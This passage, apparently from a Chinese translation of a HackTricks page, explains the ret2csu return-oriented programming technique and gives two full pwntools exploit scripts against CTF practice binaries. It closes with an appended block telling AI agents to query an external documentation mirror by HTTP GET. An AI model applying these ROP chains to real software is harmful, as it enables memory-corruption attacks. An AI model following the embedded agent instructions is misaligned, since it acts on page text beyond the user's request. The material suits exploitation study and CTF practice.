查看此页面以获取更多信息：
{% content-ref url="/pages/VIpBoCGw8xMFOJTh5UaW" %}
[BROP - Blind Return Oriented Programming](/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
{% endcontent-ref %}
## 示例
### 使用调用
假设你想要进行系统调用或调用一个像 `write()` 这样的函数，但需要在 `rdx` 和 `rsi` 寄存器中作为参数具有特定值。通常，你会寻找直接设置这些寄存器的 gadget，但你找不到任何。
这就是 **ret2csu** 发挥作用的地方：
1. **设置寄存器**：使用第一个 magic gadget 从堆栈中弹出值并将其放入 rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx) 和 r15 中。
2. **使用第二个 Gadget**：有了这些设置的寄存器，你可以使用第二个 gadget。这使你可以将你选择的值移动到 `rdx` 和 `rsi` 中 (分别来自 r14 和 r13)，为函数调用准备参数。此外，通过控制 `r15` 和 `rbx`，你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 中的地址的函数。
你可以在[**这里使用此技术并解释它的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)，这是它使用的最终利用：
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
{% hint style="warning" %}
请注意，前面的漏洞利用并不意味着进行RCE，而是仅仅调用一个名为`win`的函数（从标准输入中获取`win`的地址，在ROP链中调用gets并将其存储在r15中），并将第三个参数的值设为`0xdeadbeefcafed00d`。
{% endhint %}
### 绕过调用并到达ret
以下漏洞利用是从[**此页面**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html)提取的，在这个页面中使用了**ret2csu**，但是不是使用调用，而是**绕过比较并到达`ret`**。
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
from pwn import *
# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b * 0x4007b0')
# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)
# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)
# Padding from start of input to saved return address
payload = "0"*0x28
# Our first gadget, and the values to be popped from the stack
# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15
# Finally the address of ret2win
payload += ret2win
# Send the payload
target.sendline(payload)
target.interactive()
```
### 为什么不直接使用libc？
通常这些情况也容易受到[**ret2plt**](/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](/binary-exploitation/rop-return-oriented-programing/ret2lib.md)的影响，但有时您需要控制的参数比直接在libc中找到的gadget更多。例如，`write()`函数需要三个参数，**直接找到设置所有这些参数的gadget可能是不可能的**。
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2csu.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.